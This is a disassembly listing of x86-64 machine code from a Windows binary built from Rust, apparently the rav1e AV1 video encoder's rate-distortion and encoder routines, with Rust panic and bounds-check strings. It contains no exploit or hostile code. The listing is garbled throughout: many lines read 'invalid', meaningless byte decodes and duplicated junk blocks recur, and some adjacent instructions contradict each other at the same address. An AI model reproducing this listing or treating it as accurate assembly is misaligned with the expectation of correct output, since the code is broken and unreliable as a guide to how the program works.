mov rax, qword [rbx + 0x178]
mov r12, qword [rax + 0x1278]
mov r13, qword [rbx + 0x1f8]
mov rax, qword [r12 + 0x18]
mov r14, rax
mov rcx, qword [rbp + 0x13e8]
mov ecx, dword [rbp + 0x13e8]
sub r14, rcx
cmp qword [rbx + 0x108], rax
cmovb r14, qword [rbx + 0xf0]
add r14, rcx
xor eax, eax
cmp rax, rsi
je 0x1400c8a38
lea rdi, [rax + 1]
mov rcx, rax
add rcx, qword [rbp + 0x13f0]
mov rax, rdi
cmp rcx, qword [r12 + 0x20]
jae 0x1400c89da
imul rcx, qword [r12 + 0x28]
imul r8, rcx, 0x1e
add r8, qword [r12]
mov r9, qword [r12 + 0x18]
mov qword [rsp + 0x20], r15
mov rcx, qword [rbp + 0x13e8]
mov rdx, r14
call fcn.140091bea
imul rcx, rdx, 0x1e
xor edx, edx
cmp rcx, rdx
je 0x1400c8a33
mov qword [rax + rdx], r13
add rdx, 0x1e
jmp 0x1400c8a24
mov rax, rdi
jmp 0x1400c89da
movsd xmm0, qword [rbx + 0x1f0]
xorpd xmm1, xmm1
ucomisd xmm0, xmm1
jb 0x1400c9020
mov al, byte [rbx + 0x20a]
movups xmm1, xmmword [rbx + 0x1f8]
add byte [rax], al
mov ecx, dword [rbx + 0x20c]
movzx edx, word [rbx + 0x208]
mov r8, qword [rbx + 0x2b0]
movsd qword [r8 + 0x10], xmm0
mov r9, qword [rbp + 0x13e8]
mov qword [r8], r9
mov r9, qword [rbp + 0x13f0]
mov qword [r8 + 8], r9
mov r9b, byte [rbp + 0x13e0]
mov byte [r8 + 0x2b], r9b
mov byte [r8 + 0x2a], al
movups xmmword [r8 + 0x18], xmm1
mov dword [r8 + 0x2c], ecx
mov word [r8 + 0x28], dx
movaps xmm6, xmmword [rbp + 0x1360]
lea rsp, [rbp + 0x1378]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rdx, r14
jmp 0x1400c8ad5
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rax
mov r8, rsi
call fcn.1401c6eb0
jmp 0x1400c90d0
mov byte [rbx + 0xed], 1
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, r14
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
push 0xd
pop rdx
mov rcx, r13
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
invalid
jrcxz 0x1400c8b2f
add cl, ch
stosb byte [rdi], al
invalid
add byte [rax], al
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
add cl, ch
invalid
invalid
add byte [rax], al
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rax
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, qword [rbx + 0x130]
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, qword [rbx + 0x130]
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, qword [rbx + 0x130]
mov edx, dword [rbx + 0x130]
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
push 7
pop rdx
mov rcx, rax
call fcn.1401c6eb0
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0xb00]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], rdx
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c6e60
jmp 0x1400c90d0
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0xb00]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], rdx
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c6e60
jmp 0x1400c90d0
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0xb00]
or eax, dword [rax]
add byte [rax - 0x77], cl
add dword [rax - 0x39], ecx
or byte [r9], al
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
sbb byte [r8 - 0x77], cl
mov bl, 0x60
add dword [rax], eax
add byte [rax - 0x77], cl
xchg ebx, eax
push 0x48000001
lea edx, [0x14023df90]
call fcn.1401c6e60
jmp 0x1400c90d0
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0xb00]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], rdx
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
adc eax, 0x1752a2
call fcn.1401c6e60
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rax
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rax
call fcn.1401c6eb0
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
jmp 0x1400c90d0
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0x340]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
ror byte [rdi], 0x11
sbb byte [r8 - 0x75], cl
xor dword [rax], 1
add byte [rax], al
mov qword [rbx + 0x190], rax
mov qword [rbx + 0x198], rdi
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
add al, ch
jne 0x1400c8dc9
verw cx
loopne 0x1400c8df0
add byte [rax], al
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0x340]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
mov qword [rbx + 0x190], r14
mov qword [rbx + 0x198], rdi
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c6e60
jmp 0x1400c90d0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
xor edx, edx
xor ecx, ecx
call fcn.1401c6eb0
lea rcx, [0x14023c928]
call fcn.1401c6a09
jmp 0x1400c90d0
push 1
pop rcx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
lea rcx, [0x140241cf6]
lea r8, [0x140241d98]
jmp 0x1400c8eb3
lea rcx, [0x140241d39]
lea r8, str.e__
jmp 0x1400c8ea1
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
jmp 0x1400c8c31
lea rcx, [0x140241d39]
lea r8, [0x140241be8]
push 0x44
jmp 0x1400c8eb5
lea rcx, [0x140241cf6]
lea r8, [0x140241be8]
push 0x43
pop rdx
call fcn.1401c6f30
lea rcx, [0x140241d39]
lea r8, str.e__
push 0x44
pop rdx
call fcn.1401c6f30
jmp 0x1400c90d0
lea rcx, [0x140241cf6]
lea r8, [0x140241d98]
push 0x43
pop rdx
call fcn.1401c6f30
jmp 0x1400c90d0
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
push 0x2c
pop rdx
call fcn.1401c6f30
jmp 0x1400c90d0
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
push 0x2c
pop rdx
call fcn.1401c6f30
add cl, ch
lea eax, [rcx]
add byte [rax], al
add cl, ch
lea eax, [rcx]
add byte [rax], al
lea rcx, [0x140241cf6]
lea r8, [0x140241be8]
push 0x43
pop rdx
call fcn.1401c6f30
jmp 0x1400c90d0
lea rcx, [0x140241d39]
lea r8, [0x140241be8]
push 0x44
pop rdx
call fcn.1401c6f30
jmp 0x1400c90d0
invalid
mov qword [rbx + 0x190], r14
mov qword [rbx + 0x198], rdi
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
push 0x2c
pop rdx
call fcn.1401c6f30
jmp 0x1400c90d0
movabs dword [0x93e85a2c6a001750], eax
fisttp word [rdi]
add cl, ch
add dword cs:[rax], eax
add byte [rcx + rcx*4 - 0x55], cl
push rax
add dword [rax], eax
add byte [rax - 0x75], cl
adc dword [rax], 1
add byte [rax], al
mov qword [rbx + 0x150], r13
mov rax, qword [rbx + 0x110]
mov qword [rbx + 0x158], rax
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1400c90d0
mov qword [rbx + 0x160], r13
mov rax, qword [rbx + 0x110]
mov qword [rbx + 0x168], rax
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
cmpsd dword [rsi], dword [rdi]
loop 0x1400c8ff7
add cl, ch
loop 0x1400c8fec
add byte [rax], al
cmpsd dword [rsi], dword [rdi]
loop 0x1400c8ff7
add cl, ch
loop 0x1400c8fec
add byte [rax], al
lea rcx, [0x14023c928]
call fcn.1401c6a09
fimul dword [rdi]
add byte [rcx + rcx*4 - 0x4d], cl
nop
add dword [rax], eax
add byte [rax - 0x75], cl
cmp dword [rax], 1
add byte [rax], al
mov qword [rbx + 0x190], r14
mov rax, qword [rbx + 0x138]
mov qword [rbx + 0x198], rax
add byte [rax], al
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1400c90d0
lea rcx, str.assertion_failed:_best.rd_cost___0_f64
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
push 0x27
jmp 0x1400c8eb5
lea rcx, str.not_implemented
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
push 0xf
pop rdx
call fcn.1401c6f30
jmp 0x1400c90d0
lea rcx, str.assertion_failed:__ref_frames_set.is_empty__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
push 0x2c
jmp 0x1400c8eb5
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140009390
push 0x2b
pop rdx
lea r8, [rbx + 0xb00]
call fcn.1401c7200
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1400c90d0
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1400c90d0
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1400c90d0
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
ud2
or dword [rax], eax
add byte [rcx - 0x80], al
clc
adc al, 0x40
setb bh
jae 0x1400cbc9a
mov rcx, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xe0]
mov rdx, rsi
mov r9, qword [rbp + 0xa48]
or al, byte [rax]
add al, ch
xlatb
sbb eax, 0x8a440000
test eax, esp
or dword [rax], eax
add byte [rcx - 0x80], al
clc
adc ecx, dword [rax - 0x75]
lea ebx, [rax + 0xa]
add byte [rax], al
or al, byte [rax]
add al, ch
xlatb
sbb eax, 0x8a440000
test eax, esp
or dword [rax], eax
add byte [rcx - 0x80], al
clc
adc ecx, dword [rax - 0x75]
lea ebx, [rax + 0xa]
add byte [rax], al
je 0x1400cbcd7
xor edi, edi
jmp 0x1400cbd38
invalid
mov rcx, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xe0]
mov rdx, rsi
mov r9, qword [rbp + 0xa48]
add byte [rax], al
add byte [rax - 0x77], cl
mov r9, qword [rbp + 0xa48]
call fcn.1400cdb46
mov r8b, byte [rbp + 0x9e0]
cmp r8b, 0x21
jne 0x1400cbd2f
mov rcx, qword [rbp + 0xa58]
cmp rcx, 2
stc
add cl, byte [rdi]
invalid
mov dh, 0x18
add byte [rax], al
xor eax, eax
cmp rax, 2
je 0x1400cbd38
inc rax
cmp rcx, 2
jb 0x1400cbcd9
imul rax, rax, 0xc
mov ecx, 0x280
xor r9d, r9d
mov r14, qword [rbp + 0xa50]
cmp dword [r14 + rax + 8], ecx
setb r9b
setb cl
cmp dword [r14 + 8], ecx
adc r9, 0
mov rcx, qword [rsp + 0xc8]
mov rdx, rsi
xor r8d, r8d
call fcn.1400cdbd8
mov r8b, byte [rbp + 0x9e0]
test eax, esp
or dword [rax], eax
add byte [rdx + rcx*4 - 0x63], al
adc byte [rdx], cl
add byte [rax], al
or dword [rax], eax
add byte [rdx + rcx*4 - 0x63], al
adc byte [rdx], cl
add byte [rax], al
jmp case.0x1400c5cc0.31
xor edi, edi
mov rcx, qword [rbp + 0xa58]
test rcx, rcx
mov r11b, byte [rbp + 0xa10]
je 0x1400cbd5b
mov r14, qword [rbp + 0xa50]
mov rax, qword [r14]
mov qword [rsp + 0x130], rax
xor r14d, r14d
jmp 0x1400cbd73
xor eax, eax
cmp rax, 2
je 0x1400cbd70
and dword [rsp + rax*4 + 0x130], 0
add dword [rax], eax
add byte [rax], al
inc rax
jmp 0x1400cbd5d
mov r14b, 1
xor r15d, r15d
mov rax, qword [rsp + 0xe8]
cmp r15d, dword [rax + 0x2d4]
sbb r15d, r15d
push 1
pop rsi
or r15b, byte [rax + 0x31a]
test dil, dil
je 0x1400cbe8b
movzx edi, word [rbp + 0xa08]
movzx r9d, word [rbp + 0xa0a]
movzx ecx, word [rbp + 0xa0a]
movzx ecx, word [rbp + 0xa0a]
movzx eax, word [rsp + 0x130]
movzx ecx, word [rsp + 0x132]
mov byte [rsp + 0x30], r15b
mov byte [rsp + 0x30], bh
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xe0]
mov r8d, edi
call fcn.1400cdc0e
mov r8b, byte [rbp + 0x9e0]
mov r11b, byte [rbp + 0xa10]
cmp r8b, 0x21
ja case.0x1400cbead.18
mov eax, 0xfce38000
mov rcx, qword [rsp + 0xf0]
bt rax, rcx
jb case.0x1400cbead.15
invalid
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rcx], al
add al, byte [rax]
add byte [rax], al
movabs rax, 0x201000000
mov rcx, qword [rsp + 0xf0]
bt rax, rcx
jae 0x1400cd3d5
movzx r8d, word [rbp + 0xa0c]
movzx r9d, word [rbp + 0xa0e]
lea ecx, [rsi]
or al, byte [rax]
add byte [rdi], cl
mov bh, 0x84
and al, 0x34
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x8c
and al, 0x36
add dword [rax], eax
add byte [rax + rcx*4 + 0x7c], al
and al, 0x30
lea ecx, [rsi]
or al, byte [rax]
add byte [rdi], cl
mov bh, 0x84
and al, 0x34
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x8c
and al, 0x36
add dword [rax], eax
add byte [rax + rcx*4 + 0x7c], al
and al, 0x30
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov rcx, qword [rsp + 0xc8]
enter 0, 0
enter 0, 0
mov rdx, qword [rsp + 0xe0]
call fcn.1400cdc0e
mov r8b, byte [rbp + 0x9e0]
mov r11b, byte [rbp + 0xa10]
popfq
adc byte [rdx], cl
add byte [rax], al
popfq
adc byte [rdx], cl
add byte [rax], al
lea eax, [r8 - 0x1a]
cmp al, 6
jb 0x1400cbec5
jmp case.0x1400cbead.18
mov rax, qword [rsp + 0xf0]
add eax, 0xfffffff2
cmp eax, 0x13
ja case.0x1400cbead.18
add byte [rax], al
add byte [rax], al
lea rcx, [0x14028c168]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea eax, [r8 - 0xf]
cmp al, 8
ja 0x1400cbec5
movzx eax, al
lea rcx, [0x14028aae0]
mov rsi, qword [rcx + rax*8]
cmp r8b, 0xf
mov rcx, qword [rbp + 0xa58]
je 0x1400cbedb
or al, byte [rax]
add byte [rcx + rcx + 0x48], dh
cmp esi, ecx
cmp rsi, rcx
jae 0x1400cd531
push 2
pop rdi
mov rax, qword [rbp + 0xa50]
lea r14, [rax + 0x14]
mov r15d, 0x280
cmp rdi, 4
je 0x1400cbf57
cmp rdi, rcx
jae 0x1400cbf4e
lea r13, [rdi - 1]
cmp rsi, r13
seta r8b
xor r9d, r9d
cmp dword [r14 + 0xc], r15d
setb r9b
cmp dword [r14], r15d
adc r9, 0
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xe0]
xchg esp, eax
and al, 0xe0
add byte [rax], al
add al, ch
lodsb al, byte [rsi]
sbb al, 0
add byte [rax - 0x75], cl
lea ebx, [rax + 0xa]
add byte [rax], al
xchg esp, eax
and al, 0xe0
add byte [rax], al
add al, ch
lodsb al, byte [rsi]
sbb al, 0
add byte [rax - 0x75], cl
lea ebx, [rax + 0xa]
add byte [rax], al
mov r8b, byte [rbp + 0x9e0]
mov r11b, byte [rbp + 0xa10]
cmp rsi, r13
mov r13, qword [rsp + 0x100]
add dword [rax], eax
add byte [rsi + 0xf], dh
add dword [rax], eax
add byte [rsi + 0xf], dh
add r14, 0xc
inc rdi
jmp 0x1400cbeef
cmp rcx, 1
jbe 0x1400cbfa5
cmp rsi, rcx
jae 0x1400cd4e2
imul rax, rsi, 0xc
mov rdx, qword [rbp + 0xa50]
movzx ecx, word [rdx + rax]
cmp cx, word [rbp + 0xa08]
jne 0x1400cd555
add rdx, rax
movzx eax, word [rdx + 2]
cmp ax, word [rbp + 0xa0a]
je case.0x1400cbead.18
lea rcx, str.assertion_failed:_mv_stack_ref_mv_idx_.this_mv.col__mvs_0_.col_o__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1400cd563
cmp word [rbp + 0xa08], 0
jne 0x1400cd567
cmp word [rbp + 0xa0a], 0
jne 0x1400cd577
mov rdi, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xf0]
cmp r8b, 0xd
ja 0x1400cc1fe
mov al, byte [rbp + 0x9e0]
dec eax
cmp al, 8
jae 0x1400cc014
mov cl, byte [rbp + 0xa10]
call fcn.1400c502f
test al, al
je 0x1400cc014
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8b, byte [rbp + 0x9f0]
mov r9b, byte [rbp + 0x9e0]
call fcn.1400cdd9d
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x230]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0xa18]
mov rdx, qword [rbp + 0xa20]
mov r8b, byte [rbp + 0xa10]
mov r9, r12
call fcn.1400cdd38
test al, al
je 0x1400cc0e8
mov sil, byte [rbp + 0xa10]
mov byte [rsp + 0x20], sil
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r14b, byte [rbp + 0x9e8]
mov r8d, r14d
mov r9b, byte [rbp + 0x9e0]
call fcn.1400cddf9
cmp r14b, 0xd
jne 0x1400cc0b3
mov ecx, esi
call fcn.1400cdf25
test al, al
je 0x1400cd543
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8d, dword [rbp + 0xa30]
call fcn.1400cdf2c
jmp 0x1400cc0e8
lea eax, [r14 - 1]
cmp al, 8
jae 0x1400cc0e8
mov cl, byte [rbp + 0xa10]
call fcn.1400c502f
test al, al
je 0x1400cc0e8
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8b, byte [rbp + 0x9f8]
mov r9b, byte [rbp + 0x9e8]
call fcn.1400cdd9d
mov rax, qword [rsp + 0xe8]
cmp dword [rax + 0x2d0], 0
je 0x1400cc194
mov cl, byte [rbp + 0xa10]
call fcn.1400c502f
test al, al
je 0x1400cc194
mov cl, byte [rbp + 0xa10]
call fcn.14007c694
cmp rax, 0x40
ja 0x1400cc194
mov cl, byte [rbp + 0xa10]
call fcn.14007c6af
cmp rax, 0x40
ja 0x1400cc194
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x230]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov al, byte [rbp + 0x9e8]
mov byte [rsp + 0x30], al
mov al, byte [rbp + 0x9e0]
mov byte [rsp + 0x28], al
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8b, byte [rbp + 0xa10]
mov r9, qword [rbp + 0xa18]
call fcn.1400cdfcd
mov al, byte [rbp + 0x9e0]
test al, al
mov r11b, byte [rbp + 0xa10]
jne 0x1400cc1fe
mov rax, qword [rsp + 0x120]
cmp byte [rax + 0x263], 0
je 0x1400cc1fe
mov ecx, r11d
call fcn.14007c694
mov r11b, byte [rbp + 0xa10]
cmp rax, 0x20
ja 0x1400cc1fe
mov ecx, r11d
call fcn.14007c6af
mov r11b, byte [rbp + 0xa10]
cmp rax, 0x20
ja 0x1400cc1fe
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8b, byte [rbp + 0xa10]
call fcn.1400ce0b9
mov r11b, byte [rbp + 0xa10]
mov rax, qword [rsp + 0xe8]
cmp byte [rax + 0x329], 0
movzx r14d, r11b
mov qword [rsp + 0x118], r14
je 0x1400cc37d
mov rax, qword [rsp + 0xc8]
lea rsi, [rax + 0x30]
mov ecx, r11d
xor edx, edx
call fcn.1400c4731
test al, al
mov al, byte [rbp + 0x9e0]
mov cl, byte [rbp + 0xa38]
je 0x1400cc256
cmp al, 0xd
jbe 0x1400cc291
cmp byte [rbp + 0xa28], 0
je 0x1400cc2fb
cmp al, 0xe
setae al
and al, byte [rbp + 0xa28]
mov byte [rsp + 0x20], cl
mov byte [rsp + 0x28], al
mov rcx, rsi
mov rdx, qword [rbp + 0xa18]
mov r8, qword [rbp + 0xa20]
mov sil, byte [rbp + 0xa10]
mov r9d, esi
call fcn.14007667e
mov r11d, esi
jmp 0x1400cc37d
mov byte [rsp + 0x28], cl
mov r12, r15
mov r15b, byte [rbp + 0xa10]
mov byte [rsp + 0x20], r15b
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov rdi, qword [rbp + 0xa18]
mov r8, rdi
mov r14, qword [rbp + 0xa20]
mov r9, r14
call fcn.1400ce0e8
mov al, byte [rbp + 0xa38]
mov byte [rsp + 0x20], al
mov byte [rsp + 0x28], 0
mov rcx, rsi
mov rdx, rdi
mov r8, r14
mov r14, qword [rsp + 0x118]
mov r9d, r15d
call fcn.14007667e
mov r11d, r15d
mov r15, r12
jmp 0x1400cc37d
lea rax, [0x140240628]
mov sil, byte [r14 + rax]
mov rax, qword [rsp + 0xe8]
cmp byte [rax + 0x32a], 0
je 0x1400cc32f
call fcn.1400ce1b3
mov ecx, eax
mov r14b, byte [rbp + 0xa10]
mov edx, r14d
call fcn.1400cd5d9
jmp 0x1400cc338
xor eax, eax
mov r14b, byte [rbp + 0xa10]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x30], al
mov byte [rsp + 0x28], sil
mov byte [rsp + 0x20], r14b
and qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8, qword [rbp + 0xa18]
mov r9, qword [rbp + 0xa20]
call fcn.1400ce1c2
mov r11d, r14d
mov r14, qword [rsp + 0x118]
mov rsi, qword [rbp + 0xa60]
test rsi, rsi
je 0x1400cc3e0
mov cl, byte [rbp + 0xa38]
call fcn.1400ce3cf
add qword [rsi + r14*8 + 0x80], rax
movzx ecx, byte [rbp + 0xa40]
cmp cl, 0x10
jae 0x1400cd4c4
add qword [rsi + rcx*8], rax
add qword [rsi + r15*8 + 0x130], rax
mov cl, byte [rbp + 0x9e8]
movzx ecx, cl
add qword [rsi + rcx*8 + 0x240], rax
cmp byte [rbp + 0xa28], 0
mov r11b, byte [rbp + 0xa10]
je 0x1400cc3e0
add qword [rsi + 0x350], rax
mov rax, qword [rsp + 0x120]
cmp byte [rax + 0x264], 0
mov r9b, byte [rbp + 0x9e0]
mov rcx, qword [rsp + 0xd8]
je 0x1400cc4a6
xor eax, eax
cmp rax, qword [rsp + 0xd0]
je 0x1400cc4a6
lea rdi, [rax + 1]
mov r14, rax
add r14, qword [rbp + 0xa20]
mov rax, rdi
cmp r14, qword [r13 + 0x2f0]
jae 0x1400cc406
lea r15, [r14 + 1]
mov r12, rcx
mov rsi, qword [rbp + 0xa18]
sub r12, 1
jb 0x1400cc49e
cmp rsi, qword [r13 + 0x2e8]
jae 0x1400cc499
mov r9, qword [r13 + 0x30]
mov r8, r9
imul r8, r14
imul r9, r15
mov rcx, qword [r13 + 0x20]
mov rdx, qword [r13 + 0x28]
call fcn.1400cf4ed
cmp rsi, rdx
jae 0x1400ccd58
mov r9b, byte [rbp + 0x9e0]
mov byte [rax + rsi*4 + 2], r9b
mov cl, byte [rbp + 0x9e8]
mov byte [rax + rsi*4 + 3], cl
mov word [rax + rsi*4], bx
mov r11b, byte [rbp + 0xa10]
mov rcx, qword [rsp + 0xd8]
inc rsi
jmp 0x1400cc43c
mov rax, rdi
jmp 0x1400cc406
cmp r9b, 0xd
